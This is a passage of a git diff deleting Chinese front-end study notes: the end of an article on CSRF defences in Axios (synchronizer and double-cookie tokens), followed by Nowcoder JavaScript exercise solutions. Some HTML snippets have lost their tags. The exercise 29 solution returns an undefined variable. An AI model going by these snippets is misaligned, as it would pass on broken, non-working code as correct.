示例图中的表单攻击,我们可以 使⽤ **同步表单 CSRF 校验** 的防御措施。 - -**同步表单 CSRF 校验** 就是在返回⻚⾯时将 token 渲染到⻚⾯上,在 form 表单提交的时候通过隐藏域或 者作为查询参数把 CSRF token 提交到服务器。⽐如,在同步渲染⻚⾯时,**在表单请求中增加⼀个 _csrf 的查询参数**,这样当⽤户在提交这个表单的时候就会将 CSRF token 提交上来: - -```html -
    - ⽤户名: - 选择头像: - - -``` - -#### 4.2.3 双重 Cookie 防御 - -**双重 Cookie 防御** **就是将 token 设置在 Cookie 中**,在提交(POST、PUT、PATCH、DELETE)等请求 时提交 Cookie,**并通过请求头或请求体带上 Cookie 中已设置的 token**,服务端接收到请求后,再进⾏对⽐校验。 - -```js -let csrfToken = Cookies.get('csrfToken'); -function csrfSafeMethod(method) { - // 以下HTTP⽅法不需要进⾏CSRF防护 - return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method)); -} -$.ajaxSetup({ - beforeSend: function(xhr, settings) { - if (!csrfSafeMethod(settings.type) && !this.crossDomain) { - xhr.setRequestHeader('x-csrf-token', csrfToken); - } - }, -}); -``` - -### 4.3 Axios CSRF 防御 - -介绍完 CSRF 攻击的⽅式和防御⼿段,最后我们来看⼀下 Axios 是如何防御 CSRF 攻击的。 - -Axios 提供了 xsrfCookieName 和 xsrfHeaderName 两个属性来分别设置 CSRF 的 Cookie 名称和 HTTP 请求头的名称,它们的默认值如下所示: - -```js -// lib/defaults.js -var defaults = { - adapter: getDefaultAdapter(), - // 省略部分代码 - xsrfCookieName: 'XSRF-TOKEN', - xsrfHeaderName: 'X-XSRF-TOKEN', -}; -``` - -前⾯我们已经知道在不同的平台中,Axios 使⽤不同的适配器来发送 HTTP 请求,这⾥我们以浏览器平 台为例,来看⼀下 Axios 如何防御 CSRF 攻击: - -```js -// lib/adapters/xhr.js -module.exports = function xhrAdapter(config) { - return new Promise(function dispatchXhrRequest(resolve, reject) { - var requestHeaders = config.headers; - - var request = new XMLHttpRequest(); - // 省略部分代码 - - // 添加xsrf头部 - if (utils.isStandardBrowserEnv()) { - var xsrfValue = (config.withCredentials || isURLSameOrigin(fullPath)) && - config.xsrfCookieName ? - cookies.read(config.xsrfCookieName) : - undefined; - if (xsrfValue) { - requestHeaders[config.xsrfHeaderName] = xsrfValue; - } - } - request.send(requestData); - }); -}; -``` - -看完以上的代码,相信⼩伙伴们就已经知道答案了,原来 Axios 内部是使⽤ **双重 Cookie 防御** 的⽅案来 防御 CSRF 攻击。好的,到这⾥本章的主要内容都已经介绍完了,其实 Axios 项⽬还有⼀些值得我们借 鉴的地⽅,⽐如 CancelToken 的设计、异常处理机制等,感兴趣的⼩伙伴可以⾃⾏学习⼀下。 - diff --git "a/src/\346\272\220\347\240\201\345\255\246\344\271\240/\344\275\277\347\224\250TS\345\260\201\350\243\205\347\273\231\345\244\247\345\256\266\347\224\250\347\232\204Axios.md" "b/src/\346\272\220\347\240\201\345\255\246\344\271\240/\344\275\277\347\224\250TS\345\260\201\350\243\205\347\273\231\345\244\247\345\256\266\347\224\250\347\232\204Axios.md" deleted file mode 100644 index 34e1e313..00000000 --- "a/src/\346\272\220\347\240\201\345\255\246\344\271\240/\344\275\277\347\224\250TS\345\260\201\350\243\205\347\273\231\345\244\247\345\256\266\347\224\250\347\232\204Axios.md" +++ /dev/null @@ -1,10 +0,0 @@ ---- -icon: edit -date: 2022-07-20 -category: -- 前端 ---- - -# 使用TS封装给大家用的Axios - -> 完善代码仓库当中.... diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\2301-10.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\2301-10.md" deleted file mode 100644 index 1494034b..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\2301-10.md" +++ /dev/null @@ -1,474 +0,0 @@ ---- -icon: edit -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题01 - -### 1. 修改this指向 - -> 封装函数 f,使 f 的 this 指向指定的对象。 - -这里给出三种写法,哪种都可以。 - -```js -// apply修改this作用域 -function bindThis(f, oTarget) { - return function () { - return f.apply(oTarget,arguments) - } -} - -// call修改this作用域 -function bindThis(f, oTarget) { - return function (){ - return f.call(oTarget,...arguments) - } -} - -// bind修改this作用域 -function bindThis(f, oTarget) { - return function (){ - return f.bind(oTarget,...arguments)() // 手动调用 - } -} -``` - -相关知识点: - -1. apply、call、bind区别 - -> apply、call、bind的作用都是修改执行上下文 -> apply、call都是返回函数立即执行的结果,其中apply第二个参数之后是数组Array,call第二个参数之后是逐个参数。 -> bind返回的是函数,需要手动执行结果。第二个参数之后是逐个参数。 - -### 2. 获取url参数 - -> 获取 url 中的参数 -> -> 1. 指定参数名称,返回该参数的值 或者 空字符串 -> 2. 不指定参数名称,返回全部的参数对象 或者 {} -> 3. 如果存在多个同名参数,则返回数组 -> -> 输入:`http://www.nowcoder.com?key=1&key=2&key=3&test=4#hehe key` -> -> 输出:[1, 2, 3] - -```js -function getUrlParam(sUrl, sKey) { - let newArr = [] - let newObj = {} - // 获取?号后面#号前面的值 - let query = sUrl.split('#')[0].split('?')[1] - // 如果query存在 - if (query) { - let arr = query.split('&') - for(let i = 0 ; i < arr.length; i++) { - if (arr[i]) { - arr[i] = arr[i].split('=') - // 数组 - if (sKey !== undefined) { - if(arr[i][0] === sKey) { - newArr.push(arr[i][1]) - } - // 对象 - } else { - if(arr[i][0] in newObj) { - newObj[arr[i][0]].push(arr[i][1]) - } else { - newObj[arr[i][0]] = [arr[i][1]] - } - } - } - } - // 判断sKey有没有值 - if(sKey !== undefined) { - switch(newArr.length) { - case 0 : return '';break; - case 1 : return newArr[0]; break; - default: return newArr;break; - } - } else { - return newObj - } - // 如果query不存在,判断sKey是否存在,如果存在就返回空对象,如果不存在就返回空字符串 - } else { - return sKey !== undefined ? '' : {} - } - } -``` - -相关知识点: - -- url的组成部分 - -> `https://user:pass@www.baidu.com:80/index.html?type=1&name=2#haha` -> `http/https` 是协议 -> `user:pass@` 是登录认证 -> `www.baidu.com` 是域名,服务器地址 -> `:80` 是端口号 -> `/index.html` 是请求资源文件路径 -> `?type=1&name=2` 是查询字符串,携带参数,给服务器传的内容。 -> `#haha` 是哈希,片段标识符 - -- split方法 - -> 字符串分割成数组的方法,里面的参数是以什么分割,如果不传就是空字符串为分割,返回值是一个数组。 - -- query部分可以使用正则 - -### 3. dom节点查找 - -> 查找两个节点的最近的一个共同父节点,可以包括节点自身 -> -> 输入描述: -> oNode1 和 oNode2 在同一文档中,且不会为相同的节点 - -```js -function commonParentNode(oNode1, oNode2) { - if(oNode1.contains(oNode2)) { - return oNode1 - } else { - // 一直将node1向上升 - return commonParentNode(oNode1.parentNode,oNode2) - } -} -``` - -相关知识点: - -- contains API - -> 查看dom元素包含关系,包含返回true,不包含返回false -> [参考MDN](https://link.juejin.cn?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FAPI%2FNode%2Fcontains) - -- 递归(参考数据结构树) - -### 4. 根据包名,在指定空间中创建对象 - -> 根据包名,在指定空间中创建对象 -> 输入描述: -> namespace({a: {test: 1, b: 2}}, 'a.b.c.d') -> 输出描述: -> {a: {test: 1, b: {c: {d: {}}}}} - -```js -function namespace(oNamespace, sPackage) { - let scope = sPackage.split('.') - let ns = oNamespace - for(let i = 0; i< scope.length; i++) { - // 如果对象中没有该元素,或者不是对象,那么就置为空对象 - if(!ns.hasOwnProperty(scope[i]) || Object.prototype.toString.call(ns[scope[i]]) !== '[object Object]') { - ns[scope[i]] = {} - } - // 然后继续往下找 - ns = ns[scope[i]] - } - return oNamespace -} -``` - -考察知识点: - -- 判断对象的自身是否有某属性(hasOwnProperty) -- hasOwnProperty / typeof / in / instanceof 的区别 - -> - hasOwnProperty 是判断对象自身有没有某属性,不包含原型链的方法。 -> - in 是判断对象在自身和原型链上有没有该方法。 -> - instanceof 是判断对象在原型链上有没有该方法。 -> - typeof 判断操作数的类型,但是null也会判断为"object" - -- 准确判断某值的类型 - -> Object.prototype.toString.call(123) \=== "[object Number]" -> Object.prototype.toString.call('aaa') \=== "[object String]" -> Object.prototype.toString.call(true) \=== "[object Boolean]" -> Object.prototype.toString.call(undefined) \=== "[object Undefined]" -> Object.prototype.toString.call(null) \=== '[object Null]' -> Object.prototype.toString.call({}) \=== '[object Object]' -> Object.prototype.toString.call([]) \=== '[object Array]' -> Object.prototype.toString.call(Math) \=== "[object Math]" -> Object.prototype.toString.call(new Date()) \=== "[object Date]" -> Object.prototype.toString.call(new RegExp) \=== "[object RegExp]" - -- 递归(对象的嵌套参考数据结构中的树) - -### 5. 数组去重 - -> 为 Array 对象添加一个去除重复项的方法 -> 输入 -> [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a', 'a', NaN] -> 输出 -> [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a'] - -这个题,狗就狗在,还有NaN - -```js -// 方法一:终极思路 -Array.prototype.uniq = function () { - return [...new Set(this)] -} - -// 方法二:includes避免NaN的问题 -Array.prototype.uniq = function () { - const arr = []; - this.forEach((val, index) => { - if (!arr.includes(val)) { - arr.push(val) - } - }) - return arr; -} - -// 方法三:使用reduce+includes -Array.prototype.uniq = function () { - return this.reduce((prev, val) => { - if (!prev.includes(val)) { - prev.push(val) - } - return prev - }, []) -} - -// 方法四:普通思路,遍历之后比较值 -Array.prototype.uniq = function () { - let arr = [] - let flag = true - this.forEach(value => { - // == -1 有两种情况,一种是NaN,一种是有相同值 - if(arr.indexOf(value) === -1) { - // 如果是NaN - if(value !== value) { - // flag是标记,第一个NaN就进,之后的就不进去 - if(flag){ - arr.push(value) - flag = false - } - } else { - arr.push(value) - } - } - }) - return arr -} -``` - -相关知识点: - -- uniq方法中的this指向哪里? - -> Array构造函数的原型方法中的this指的是数组实例。 - -- Set的特性 - -> Set存储的成员是唯一的,不是重复的,如果有重复会自动过滤掉. [ES6(七)—— Set & Map](https://link.juejin.cn?target=https%3A%2F%2Fwww.jianshu.com%2Fp%2Fc36684658aba) - -- (NaN === NaN) => false - -> NaN : is not a number,不等于自己 -> typeof NaN => number -> Object.prototype.toString.call(NaN) => "[object Number]" -> ES6 新增方法:Number.isNaN() 用来判断是否属于数字 - -### 6. 斐波那契数列 - -> 用 JavaScript 实现斐波那契数列函数,返回第n个斐波那契数。 f(1) = 1, f(2) = 1 等 - -斐波那契数列基本学js都会,1 1 2 3 5 8 13,后一个是前两个的和。 - -```js -// 方法一:递归思路 -function fibonacci(n) { - if(n === 0) return 0 - if(n === 1 || n === 2) return 1 - return fibonacci(n-1) + fibonacci(n-2) -} - -// 方法二:迭代思路 -function fibonacci(n) { - let num1 = 1 - let num2 = 1 - let sum = 0 - for(let i = 3; i <= n; i++) { - sum = num1 + num2 - num1 = num2 - num2 = sum - } - return sum -} - -// 上面写法可以过oj,但是如果数字大点就超级慢,使用缓存很可 -// 方法三:递归优化思路 -function fibonacci(n,cache = {}) { - // 有缓存就直接读缓存 - if(n in cache) return cache[n] - if(n === 1 || n === 2) { - cache[n] = 1 - return 1 - } - // 没有缓存算完之后存入缓存 - let temp = fibonacci(n-1, cache) + fibonacci(n-2,cache) - cache[n] = temp - return temp -} -``` - -相关知识点: - -- 递归 - -### 7. 时间格式化输出 - -> 题目描述 按所给的时间格式输出指定的时间 格式说明 对于 2014.09.05 13:14:20 -> yyyy: 年份,2014 -> yy: 年份,14 -> MM: 月份,补满两位,09 -> M: 月份, 9 -> dd: 日期,补满两位,05 -> d: 日期, 5 -> HH: 24制小时,补满两位,13 -> H: 24制小时,13 -> hh: 12制小时,补满两位,01 -> h: 12制小时,1 -> mm: 分钟,补满两位,14 -> m: 分钟,14 -> ss: 秒,补满两位,20 -> s: 秒,20 -> w: 星期,为 ['日', '一', '二', '三', '四', '五', '六'] 中的某一个,本 demo 结果为 五 -> -> 输入 formatDate(new Date(1409894060000), 'yyyy-MM-dd HH:mm:ss 星期w') -> -> 输出 2014-09-05 13:14:20 星期五 - -```js -function formatDate(t,str) { - let year = ''+t.getFullYear() - let month = t.getMonth() + 1 - let day = t.getDate() - let hour = t.getHours() - let minutes = t.getMinutes() - let second = t.getSeconds() - let week = ['日','一','二','三','四','五','六'] - let date = { - 'yyyy': year, - 'yy': year.slice(2), - 'MM': ten(month), - 'M': month, - 'dd': ten(day), - 'd': day, - 'HH': ten(hour), - 'H': hour, - 'hh': ten(hour % 12), - 'h': hour % 12, - 'mm': ten(minutes), - 'm': minutes, - 'ss': ten(second), - 's': second, - 'w': week[t.getDay()] - } - for(let key in date) { - str = str.replace(key,date[key]) - } - return str - } - - // 不足10的前面要加0 - const ten = num => num >= 10 ? num : '0' + num -``` - -考察知识点: - -- 获取年月日周时分秒的系统API -- 格式统一处理 -- 字符串替换 (replace) - -### 8. 获取字符串的长度 - -> 题目描述 -> 如果第二个参数 bUnicode255For1 === true,则所有字符长度为 1 -> 否则如果字符 Unicode 编码 > 255 则长度为 2 -> 输入 -> hello world, 牛客', false -> 输出 17 - -```js -function strLength(s, bUnicode255For1) { - if(bUnicode255For1) return s.length; - let len = s.length - for(let i = 0; i < s.length; i++) { - if(s[i].charCodeAt() > 255) len++ - } - return len -} -``` - -相关知识点: - -- 获取字符的 Unicode 编码 API —— str.charCodeAt() - -### 9. 邮箱字符串判断 - -> 题目描述 判断输入是否是正确的邮箱格式 - -考察正则的一道题目,方法也是多种多样,这里只有一种简单的参考。 - -```js -// ^ 表示开头 -// [] 表示匹配字符的范围 -// \w 表示正常符号 [0-9a-zA-Z_] -// \. 是对任意符.进行转义,表示字符. -// + 表示前面的表达式,一次到多次 -function isAvailableEmail(sEmail) { - return /^[\w\.]+@\w+\.\w+/.test(sEmail) -} -``` - -相关知识点: - -- 邮箱格式 -- 正则表达式的规则和匹配 - -### 10. 颜色字符串转换 - -> 题目描述 将 rgb 颜色字符串转换为十六进制的形式,如 rgb(255, 255, 255) 转为 #ffffff -> -> 1. rgb 中每个 , 后面的空格数量不固定 -> 2. 十六进制表达式使用六位小写字母 -> 3. 如果输入不符合 rgb 格式,返回原始输入 -> -> 输入 :'rgb(255, 255, 255)' -> 输出 :`#ffffff` - -```js -function rgb2hex(sRGB) { - // 正则匹配获取!!三个数值,\d填充 - let reg = sRGB.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)/) - if(!reg) return sRGB; - // 字符串拼接 - let str = '#' - for(let i = 1; i < reg.length; i++) { - // 将字符串转成数字 - let m = parseInt(reg[i]) - if (m >= 0 && m <= 255) { - // 然后转化成16进制 - str += (m >= 16 ? m.toString(16) : '0' + m.toString(16)) - } else { - return sRGB - } - } - return str - } -``` - -相关知识点: - -- toString的进制转换 - -> 颜色是16进制,所以toString(16)可以得到结果 - -- 字符串中如何截取数字(不限于正则) match - -**注意:一定要理解之后去程序里面运行一遍。** - diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23011-20.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23011-20.md" deleted file mode 100644 index 0b341cb6..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23011-20.md" +++ /dev/null @@ -1,299 +0,0 @@ ---- -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题02 - -### 11. 将字符串转换为驼峰格式 - -> 题目描述 -> css 中经常有类似 background-image 这种通过 - 连接的字符,通过 javascript 设置样式的时候需要将这种样式转换成 backgroundImage 驼峰格式,请完成此转换功能 -> -> 1. 以 - 为分隔符,将第二个起的非空单词首字母转为大写 -> 2. -webkit-border-image 转换后的结果为 webkitBorderImage -> -> 输入 : 'font-size' 输出 : fontSize - -```js -function cssStyle2DomStyle(sName) { - let arr = sName.split('-') - for(let i = (arr[0] ? 1 : 2); i < arr.length; i++) { // 分析字符串首尾是否有- - arr[i] = arr[i].slice(0,1).toUpperCase()+arr[i].slice(1) - } - return arr.join('') -} -``` - -相关知识点: - -- 数组常用方法 - - split/join - - toUpperCase() —— toUpperCase将小写字符转成大写,toLowerCase将大写字符转成小写 - - slice - -### 12. 字符串字符统计 - -> 题目描述 统计字符串中每个字符的出现频率,返回一个 Object,key 为统计字符,value 为出现频率 -> -> 1. 不限制 key 的顺序 -> 2. 输入的字符串参数不会为空 -> 3. 忽略空白字 -> -> 输入 : 'hello world' 输出 :{h: 1, e: 1, l: 3, o: 2, w: 1, r: 1, d: 1} - -```js -function count(str) { - let obj = {} - for (let i = 0; i < str.length; i++) { - // 去掉空白字符 - if(str[i] !== ' ') { - // 如果有该属性就+1,没有就设置值为1 - obj[str[i]] = obj.hasOwnProperty(str[i]) ? obj[str[i]] + 1 : 1 - // obj[str[i]] = obj[str[i]] ? obj[str[i]] + 1 : 1 - } - } - return obj -} -``` - -相关知识点: - -- 对象赋值 -- hasOwnProperty - -### 13. 加粗文字 - -> 题目描述 -> 使用一个标签将“牛客网”三个字加粗显示 - -```html - -

    牛客网,程序员必备求职神器

    - - -let p = document.getElementsByTagName('p')[0] -p.innerHTML = p.innerText.replace('牛客网','牛客网') - - -let p = document.querySelector('p'); -p.innerHTML = p.innerText.replace('牛客网','牛客网') -``` - -相关知识点: - -- 获取元素及元素内容 -- 加粗标签 - -### 14. 段落标识 - -> 题目描述 -> 请将下面这句话以段落的形式展示在浏览器中——“牛客网是一个专注于程序员的学习和成长的专业平台。” - -```html - -

    牛客网是一个专注于程序员的学习和成长的专业平台。

    - - -let p = document.createElement('p') -p.innerHTML = '牛客网是一个专注于程序员的学习和成长的专业平台。' -document.querySelector('body').append(p) -``` - -相关知识点: - -- 创建标签createElement -- 将元素添加到body中 append() - -### 15. 设置文字颜色 - -> 题目描述 -> 请使用嵌入样式将所有p标签设置为红色文字 - -```html - -

    欢迎来到牛客网

    -

    在这里,我们为你提供了IT名企的笔试面试题库

    -

    在这里,我们以题会友

    -

    QQ群号:272820159

    - - -

    欢迎来到牛客网

    -

    在这里,我们为你提供了IT名企的笔试面试题库

    -

    在这里,我们以题会友

    -

    QQ群号:272820159

    - - -let p = document.querySelectorAll('p') -for(let i = 0; i < p.length; i++) { - p[i].style.color = 'red' -} -``` - -相关知识点: - -- 获取所有p元素:querySelectorAll -- 给元素设置style样式:dom.style.color - -### 16. 查找数组元素位置 - -> 题目描述 -> 找出元素 item 在给定数组 arr 中的位置 -> 输出描述: -> 如果数组中存在 item,则返回元素在数组中的位置,否则返回 -1 -> 输入:[ 1, 2, 3, 4 ], 3 -> 输出:2 - -```js -// 方法一:简单遍历 -function indexOf(arr, item) { - for(let i = 0; i < arr.length; i++) { - if(arr[i] === item) return i - } - return -1 -} - -// 方法二: ES6新增数组方法 -function indexOf(arr, item) { - return arr.findIndex(val => val === item) -} -``` - -相关知识点: - -- 数组遍历 -- 函数返回值 - -### 17. 数组求和 - -> 题目描述 -> 计算给定数组 arr 中所有元素的总和 -> 输入描述: -> 数组中的元素均为 Number 类型 -> 输入 : [ 1, 2, 3, 4 ] -> 输出 : 10 - -```js -// 方法一:简单方法,普通for循环这里不多加介绍 -function sum(arr) { - let count = 0 - arr.forEach((value, index) => { - count+=value - }) - return count -} - -// 方法二:reduce -function sum(arr) { - return arr.reduce((prev, item) => item + prev,0) -} -``` - -相关知识点: - -- 数组遍历 -- reduce - -### 18. 移除数组中的元素 - -> 题目描述 -> 移除数组 arr 中的所有值与 item 相等的元素。不要直接修改数组 arr,结果返回新的数组 -> 输入 : [1, 2, 3, 4, 2], 2 -> 输出 : [1, 3, 4] - -```js -// 方法一:简单遍历 -function remove(arr, item) { - let newArr = [] - arr.forEach(value =>{ - if(value !== item) newArr.push(value) - }) - return newArr -} - -// 方法二:filter过滤方法 -function remove(arr, item) { - return arr.filter(val => val !== item) -} - -// 方法三:新数组中使用splice删除 -function remove(arr, item) { - let newArr = arr.slice(0) - for(let i = newArr.length - 1; i >= 0 ; i--) { - if(newArr[i] === item) newArr.splice(i, 1) - } - return newArr -} -``` - -相关知识点: - -- 数组方法哪些是在原数组中改的,哪些是返回新数组的? - -> 返回新数组的API -> slice \ map \ filter \ reduce \ concat ... -> 返回原数组的API -> push \ unshift \ shift \ pop \ splice \ sort \ reverse ... - -### 19. 移除数组中的元素 - -> 题目描述 -> 移除数组 arr 中的所有值与 item 相等的元素,直接在给定的 arr 数组上进行操作,并将结果返回 -> 输入: [1, 2, 2, 3, 4, 2, 2], 2 -> 输出: [1, 3, 4] - -```js -// 倒着遍历不用考虑数组长度 -function removeWithoutCopy(arr, item) { - for(let i = arr.length - 1; i >= 0; i--) { - if(item === arr[i]) arr.splice(i,1) - } - return arr -} -``` - -相关知识点: - -- 遍历 + 修改数组长度 - -### 20. 添加元素 - -> 题目描述 -> 在数组 arr 末尾添加元素 item。不要直接修改数组 arr,结果返回新的数组 -> 输入: [1, 2, 3, 4], 10 -> 输出: [1, 2, 3, 4, 10] - -```js -// 方法一:简单迭代 -function append(arr, item) { - let newArr = [] - arr.forEach(val => newArr.push(val)) - newArr.push(item) - return newArr -} - -// 方法二:slice -function append(arr, item) { - let arr1 = arr.slice(0) - arr1.push(item) - return arr1 -} - -/// 方法三:concat -function append(arr, item) { - return arr.concat(item) -} -``` - -相关知识点: - -- 合并新元素,返回新数组 - -这次好多的方法都是数组方法,所以一定要非常的熟悉。这里再把数组的方法整理放上来。 - -[Javascript常用的数组方法](https://link.juejin.cn?target=https%3A%2F%2Fwww.jianshu.com%2Fp%2F753e9c5a940e) diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23021-30.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23021-30.md" deleted file mode 100644 index 9340cd88..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23021-30.md" +++ /dev/null @@ -1,400 +0,0 @@ ---- -icon: edit -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题03 - -### 21. 删除数组最后一个元素 - -> 题目描述 -> 删除数组 arr 最后一个元素。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4] -> 输出:[1, 2, 3] - -其他简单方法就不写了 - -```js -// 最常用的方法 -function truncate(arr) { - return arr.slice(0,-1) -} - -// 方法二:返回新数组API + pop() -function truncate(arr) { - let newArr = [].concat(arr) - newArr.pop() - return newArr -} - -// 方法三: slice+splice -function truncate(arr) { - let newArr = arr.slice(0) - newArr.splice(newArr.length - 1, 1) - return newArr -} -``` - -相关知识点: - -- 数组API - -### 22. 添加元素 - -> 题目描述 -> 在数组 arr 开头添加元素 item。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4], 10 输出:[10, 1, 2, 3, 4] - -```js -// 方法一:先把最后一个放进去,然后遍历数组 -function prepend(arr, item) { - let newArr = [item] - for(let i = 0; i < arr.length ; i++) { - newArr.push(arr[i]) - } - return newArr -} - -// 方法二:copy新数组,把item添加到第一个 -function prepend(arr, item) { - let arr1 = arr.slice(0) - arr1.splice(0, 0, item) // arr1.unshift(item) - return arr1 -} - -// 方法三:直接使用concat返回新数组 -function prepend(arr, item) { - return [item].concat(arr) -} - -// 方法四:展开运算符 -function prepend(arr, item) { - return [item,...arr] -} -``` - -相关知识点: - -- 数组API - -### 23. 删除数组第一个元素 - -> 题目描述 -> 删除数组 arr 第一个元素。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4] -> 输出:[2, 3, 4] - -```js -// 方法一: for循环push元素 -function curtail(arr) { - let newArr = [] - for(let i = 1; i < arr.length ; i++) { - newArr.push(arr[i]) - } - return newArr -} - -// 方法二:copy原数组,删除元素返回 -function curtail(arr) { - let newArr = arr.slice(0) - newArr.shift() - return newArr -} - -// 方法三:直接slice截取返回新数组 -function curtail(arr) { - return arr.slice(1) -} -``` - -相关知识点: - -- 数组方法API - -### 24. 数组合并 - -> 题目描述 -> 合并数组 arr1 和数组 arr2。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4], ['a', 'b', 'c', 1] -> 输出:[1, 2, 3, 4, 'a', 'b', 'c', 1] - -```js -// 方法一: 迭代 -function concat(arr1, arr2) { - var newArr=arr1.slice(0); - for(var i=0;i 题目描述 -> 在数组 arr 的 index 处添加元素 item。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4], 'z', 2 -> 输出:[1, 2, 'z', 3, 4] - -```js -// 方法一:普通迭代 -function insert(arr, item, index) { - let newArr = [] - for(let i = 0;i < arr.length; i++) { - if(i === index) { - newArr.push(item) - newArr.push(arr[i]) - } else { - newArr.push(arr[i]) - } - } - return newArr -} - -// 方法二:新数组+splice方法 -function insert(arr, item, index) { - let newArr = arr.slice(0) - newArr.splice(index,0,item) - return newArr -} - -// 方法三:拼数组 -function insert(arr, item, index) { - // 根据index分成两个数组然后concat拼接 - return arr.slice(0,index).concat(item,arr.slice(index)) -} -``` - -相关知识点: - -- 数组API - -### 26. 计数 - -> 题目描述 -> 统计数组 arr 中值等于 item 的元素出现的次数 -> 输入:[1, 2, 4, 4, 3, 4, 3], 4 -> 输出:3 - -```js -// 方法一:计数器 -function count(arr, item) { - let count = 0 - arr.forEach((value,index) => { - if(value === item) count++ - }) - return count -} - -// 方法二:filter过滤了等于item的,最后返回数组长度 -function count(arr, item) { - let newArr = arr.filter(val => val === item) - return newArr.length -} - -// 方法二:reduce -function count(arr, item) { - return arr.reduce((prev, val) => { - return val === item ? ++prev : prev - }, 0) -} -复制代码 -``` - -相关知识点: - -- 数组API - -### 27. 查找重复元素 - -> 题目描述 -> 找出数组 arr 中重复出现过的元素 -> 输入:[1, 2, 4, 4, 3, 3, 1, 5, 3] -> 输出:[1, 3, 4] - -```js -// 思路一:数组排序,双指针如果相邻的相等就放到结果数组中 -function duplicates(arr) { - if(arr.length < 2) return arr - let newArr = arr.slice(0).sort() - let result = [] - let i = 0 - let j = 1 - while(j < newArr.length) { - if(newArr[i] === newArr[j]){ - if(!result.includes(newArr[i])) result.push(newArr[i]) - } else { - i = j - } - j++ - } - return result -} - -// 思路二:用一个变量统计一下,然后遍历将大于1的输出 - // 思路二的方法一:用对象记录count - function duplicates(arr) { - let obj = {} - let arr1 = [] - arr.forEach(val => { - if (obj[val]) { - obj[val]++ - } else { - obj[val] = 1 - } - }) - for(let key in obj) { - if (obj[key] > 1) arr1.push(key) - } - return arr1 - } - - // 思路二的方法二:使用map记录count,把大于1的输出 - function duplicates(arr) { - let map = new Map() - arr.forEach(value => { - if (map.has(value)) { - let count = map.get(value) - map.set(value,++count) - } else { - map.set(value,1) - } - }) - let arr1 = [] - for(let [key,index] of map) { - if(map.get(key) > 1) arr1.push(key) - } - return arr1 - } - -// 思路三:只有一个的概念就是第一次出现的索引和第二次出现的索引不同 - // 思路三的方法一:直接判断新数组中是否有 - function duplicates(arr) { - let newArr = [] - arr.forEach((value, index) => { - if(arr.indexOf(value) !== arr.lastIndexOf(value) && newArr.indexOf(value) === -1) newArr.push(value) - }) - return newArr - } - - // 思路三的方法二:多余的进行查重 - function duplicates(arr) { - let arr1 = [] - arr.forEach((val) => { - if(arr.indexOf(val) !== arr.lastIndexOf(val)) arr1.push(val) - }) - // 去重处理 - return [...new Set(arr1)]; - } -``` - -相关知识点: - -- 算法题:双指针 -- 计数器 -- 索引 - -### 28. 求二次方 - -> 题目描述 -> 为数组 arr 中的每个元素求二次方。不要直接修改数组 arr,结果返回新的数组 -> 输入:[1, 2, 3, 4] -> 输出:[1, 4, 9, 16] - -题设,就是为map准备的,牛客不太支持ES6以上的语法,目前不支持 ** ,不过正常是可以用的。 - -```js -// 方法一:map -function square(arr) { - // 平方可以 Math.pow(value, 2) ,也可以 value ** 2 - return arr.map(value => value * value) -} - -// 方法二:forEach:如何用forEach实现map,就这么写 -function square(arr) { - let newArr = [] - arr.forEach((value, item) => { - newArr.push(value * value) - }) - return newArr -} -``` - -相关知识点: - -- 数组map方法,以及map的方法实现 -- 平方的写法 - -### 29. 查找元素位置 - -> 题目描述 在数组 arr 中,查找值与 item 相等的元素出现的所有位置 -> 输入:['a','b','c','d','e','f','a','b','c'] 'a' -> 输出:[0, 6] - -```js -// 方法一:forEach,其他的遍历都大同小异,一定是要遍历就对了。 -function findAllOccurrences(arr, target) { - let newArr = [] - arr.forEach((value,index) => { - if(target === value) newArr.push(index) - }) - return arr1 -} -``` - -相关知识点: - -- 数组API - -### 30. 避免全局变量 - -> 题目描述 -> 给定的 js 代码中存在全局变量,请修复 -> -> ```js -> function globals() { -> myObject = { -> name : 'Jory' -> }; -> -> return myObject; -> } -> ``` - -```js -// 方法一: myObject前面加var/let/const都可以 -function globals() { - const myObject = { - name : 'Jory' - }; - - return myObject; -} -``` - -相关知识点: - -- 作用域 - -数组方法终于过完了~~~~ - - - - - diff --git "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23031-40.md" "b/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23031-40.md" deleted file mode 100644 index 25179321..00000000 --- "a/src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23031-40.md" +++ /dev/null @@ -1,363 +0,0 @@ ---- -icon: edit -date: 2022-06-21 -category: -- 牛客网刷题 ---- - -# 牛客网刷题04 - -### 31. 正确的函数定义 - -> 题目描述 -> 请修复给定的 js 代码中,函数定义存在的问题 输入:true -> 输出:a -> -> ?好像没有问题 -> -> ```js -> function functions(flag) { -> if (flag) { -> function getValue() { return 'a'; } -> } else { -> function getValue() 